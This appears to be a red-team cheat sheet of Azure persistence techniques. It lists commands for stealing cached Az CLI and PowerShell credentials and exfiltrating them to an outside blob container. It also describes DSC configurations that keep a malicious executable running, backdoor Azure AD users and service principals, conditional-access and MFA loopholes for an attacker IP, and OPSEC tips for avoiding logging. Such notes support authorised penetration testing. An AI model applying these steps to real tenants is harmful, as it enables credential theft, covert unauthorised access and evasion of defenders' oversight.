- Credentials
	- https://www.lares.com/blog/hunting-azure-admins-for-vertical-escalation/
	- Check C:\\Users\\%USERNAME%\.Azure for cached credentials from Az CLI or Powershell cmdlets
		- Bypasses MFA/Oauth/Conditional access
	- NOTE: For OPSEC, prevent Azure context from being automatically saved for a local user:
		- `Disable-AzContextAutosave -Scope CurrentUser`
	- Check validity of existing credentials
		- `Get-AzSubscription`
		- `az account list`
	- Save current Azure context
		- `Save-AzContext -Path azureprofile.json`
		- `7z a azureprofile.zip azureprofile.json`
	- Exfiltrate to Blob Container
		- HTTPie
			- `http PUT "<blob_container_url>" "@azureprofile.zip" "x-ms-blob-type: BlockBlob"`
		- PowerShell
			- `Invoke-WebRequest -Method 'PUT' -Uri '<blob_container_url>' -OutFile 'azureprofile.zip' -Headers @{"x-ms-blob-type"="BlockBlob"}`
	- Download exfiltrated file
		- `Invoke-WebRequest -Uri "<blob_container_url>" -OutFile azureprofile.zip`
	- Extract
		- `7z e azureprofile.zip`
	- Import authentication context
		- `Import-AzContext -Path .\azureprofile.json`
	- Verify
		- `Get-AzResourceGroup`

- Virtual Machines
	- Opening management ports is typically ill-advised, but one option is to specify an Azure service tag as the source when opening the port (such as RDP or SSH).
		- Example: modifying a network security group to allow RDP/SSH from the AzureCloud or AzureCloud.UKSouth service tag looks less suspicious while still allowing connections from any Azure node matching that range
	- Add a managed identity
		- Can be done in Azure Portal
		- Add to system or user
		- Assign additional rights to the managed identity at subscription/management group and/or Azure AD for persistence
		- User-assigned (using an existing user with permissions we want) may be less noisy as it won't need more permissions added afterward.

- Automation account
	- Desired State Configuration (DSC)
		- Reverts systems to a "desired configuration" if that configuration ever should change
		- Simply have your "desired state" be "running my malicious EXE"
		- [Azure Persistence with Desired State Configurations (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/azure-persistence-with-desired-state-configurations/)
		- Process:
			- Add target VM as DSC node to Automation account service
			- Upload configuration
			- Compile configuration
			- Assign configuration to VM
			- Wait for DSC to indicate the node is out of compliance and run the correction script
		- Example config:
			- "File should exist at C:\\testfile.exe"
			- "A process should be running from that path"
			- "If either condition is not satisfied, correct it"
		- Very well-hidden in the Azure interface and a lesser-known feature, so it may fly under the radar
	- Automation Run as accounts
		- [Maintaining Azure Persistence via Automation Accounts (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/maintaining-azure-persistence-via-automation-accounts/)
		- Example process:
			- Assign Run as account a privileged Azure AD role (Global/User Admin)
			- Create runbook that adds a new user (with known password) to Azure AD tenant
			- Assign new user privileged role in Azure AD
			- Use new user as short-term channel to access Azure AD
		- Consider using a webhook to trigger persistence

- Maintaining access to PaaS services
	- Best targets are data stores or secret stores such as SQL dbs, storage accoutns, container registries, and key vaults
	- Can persist on a public endpoint, but must add an IP address and this is noisy
		- Can add a Firewall exception (such as to Azure SQL) to allow access to "Azure services and resources"; this allows public IPs from other organizations provided they are in Azure. Use with caution and probably only with SQL and not for services with networking restrictions
	- Persistence to platform services
		- Generating Shared Access Signature (SAS) tokens is not explicitly logged in Activity Log - good option for Azure Storage
		- Can always add RBAC role assignments to a backdoor user too

- Azure AD persistence
	- Creating new principals probably raises more alerts than modifying existing
	- Creating a new user
		- Requires `microsoft.directory/users/create` permission (User Administrator, Global Administrator, Directory Writers)
		- For naming, try to emulate the target organization but consider if alternate naming schemes (alternate domains) might bypass MFA (Okta)
		- Review audit logs to determine if the identity you're using is normally used to create Azure AD user accounts
	- Creating service principal
		- ALL non-guest users can create service principals by default
		- If that default permission is disabled, `microsoft.directory/servicePrincipals/create` permission is needed
			- Application Administrator, Application Developer, Cloud Application Administrator
		- Great for bypassing MFA/conditional access/privileged identity management (not blocked or not supported)
	- Creating guest user
		- Depends on "Collaboration restrictions" - might be able to invite users from any domain (outlook, gmail, etc.) or only from specified ones
		- By default, any user or guest user can be used to invite external identities into the tenant
		- Some orgs may place conditional access policies on guest accounts; consider bypassing/disabling
	- Modifying existing identities
		- Look for existing disabled identities, enable them, and reset password.
			- `microsoft.directory/users/enable` - User Administrator, Global Administrator
			- [Azure AD built-in roles - Azure Active Directory - Microsoft Entra | Microsoft Learn](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#password-reset-permissions)
		- Add a secret/password to an existing service principal
			- `microsoft.directory/servicePrincipals/credentials/update` - Application Administrator, Hybrid Identity Administrator, Global Administrator
		- Granting privileges to an identity
			- Add to privileged group
				- If assigned-membership type - add identity to a privileged group manually
				- If dynamic user membership type, either modify rules so they include our backdoor identity or modify identity to fit existing rules
			- Assign identity to privileged roles
				- Requires `microsoft.directory/roleAssignments/allProperties/allTasks`
					- Global Administrator, Privileged Role Administrator
				- Consider if Privileged Identity Management (PIM) is in use
					- If so, use an active assignment for the backdoor identity instead of an eligible one that requires activation
				- If Azure Blueprint is in use, must create a definition, publish, and then assign. 
	- Ensuring access by bypassing security policies
		- Create conditional access loopholes for backdoor identities
		- Add attacker IP as trusted in conditional access
		- Add attacker IP as trusted for MFA
		- Use subcription-level persistence to work with existing Azure AD restrictions